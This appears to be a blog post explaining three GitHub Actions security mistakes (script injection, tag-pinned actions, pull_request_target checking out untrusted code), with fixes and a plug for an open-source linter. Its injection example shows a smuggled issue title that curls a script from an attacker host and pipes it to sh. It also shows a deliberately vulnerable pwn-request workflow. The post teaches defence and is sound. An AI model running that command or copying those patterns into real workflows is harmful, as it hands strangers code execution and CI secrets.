3 GitHub Actions mistakes that let strangers run code in your CI (and a small linter that catches them)
Your CI has access to your secrets, your package publishing tokens, and often write access to your repo. So the question "who can make my workflow run their code?" matters more than it looks.
Here are three mistakes I keep seeing, why they are dangerous, and the fix for each.
1. Script injection: ${{ }} inside run:
Say you have a workflow that greets new issues:
on:
issues:
types: [opened]
jobs:
greet:
runs-on: ubuntu-latest
steps:
- run: echo "New issue - ${{ github.event.issue.title }}"
GitHub replaces ${{ ... }} with the text before the shell ever sees the script. So an issue titled "; curl https://evil.example/x.sh | sh; " turns your step into:
echo "New issue - " ; curl https://evil.example/x.sh | sh ; ""
Anyone who can open an issue, comment, or open a pull request just ran code in your runner.
The fix is to pass the value through an environment variable, so the shell treats it as data instead of code:
- env:
TITLE: ${{ github.event.issue.title }}
run: echo "New issue - $TITLE"
The same applies to pull request titles and branch names, comment bodies, and commit messages.
2. Actions pinned to tags, not commits
- uses: some-org/some-action@v3
A tag is just a pointer, and whoever controls the repo can move it. In March 2025 the popular tj-actions/changed-files action was compromised and its tags were repointed to malicious code, which then printed secrets into workflow logs. Anyone pinned to a tag picked it up automatically.
Anyone pinned to a full commit SHA did not:
- uses: some-org/some-action@<full 40-character commit sha> # v3.1.0
Pinning makes updating a chore, so let Dependabot do it. It understands the SHA-plus-version-comment style and opens a pull request when a new release comes out.
3. pull_request_target that checks out the PR's code
Normal pull_request workflows from forks run without secrets. pull_request_target runs with the base repository's secrets and a writable token, which is useful for things like labeling pull requests, and dangerous in one combination:
on: pull_request_target
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@<sha>
with:
ref: ${{ github.event.pull_request.head.sha }} # the attacker's code
- run: npm ci && npm test # runs it, with your secrets
This is the "pwn request" pattern: a stranger's code runs in a context that has your secrets. If you need pull_request_target, do not check out or run the pull request's code in the same job. Do your trusted work in one workflow and run untrusted code in a separate pull_request workflow without secrets.
Two smaller things worth checking while you are there: set permissions: explicitly (the default token is often broader than the job needs), and be careful with secrets: inherit when calling reusable workflows from other repositories.
Catching these automatically
I got tired of checking these by hand, so I wrote a small linter called patchlint. It reads your workflows (and also Dockerfiles and docker-compose files), explains why each finding matters, and says how to fix it, with the exact line number.
pip install patchlint
patchlint scan .
.github/workflows/triage.yml:8: [GA002/high] `github.event.issue.title` is attacker-controlled and is pasted into the script. fix: Move it to `env:` and use the variable, quoted, in the script.
It can also output SARIF, so the findings show up in GitHub's Security tab, and it ships as a GitHub Action.
To be upfront: it is a young, small project. If you want something more mature for workflows, look at zizmor, and for Dockerfiles hadolint is excellent. patchlint's angle is covering all three file types in one tool and being easy to extend: each rule is a single small Python file with a "bad" example and a "good" example as its test.
Want to write a rule?
That last point is the real reason I am posting. The project is open source (MIT) and built for first-time contributors: the repo has a list of well-described good first issues, and patchlint new-rule creates the file and the test fixtures for you.
Five people have already added rules or features, which is why it went from 2 rules to 16 in two days: thank you @SVR1339, @ljw1558, @techkayacodes, @UNMFOREVER and @PrathamShenoy14. If you have a security check you wish existed, I would love to see a pull request.
Comments
No comments yet. Start the discussion.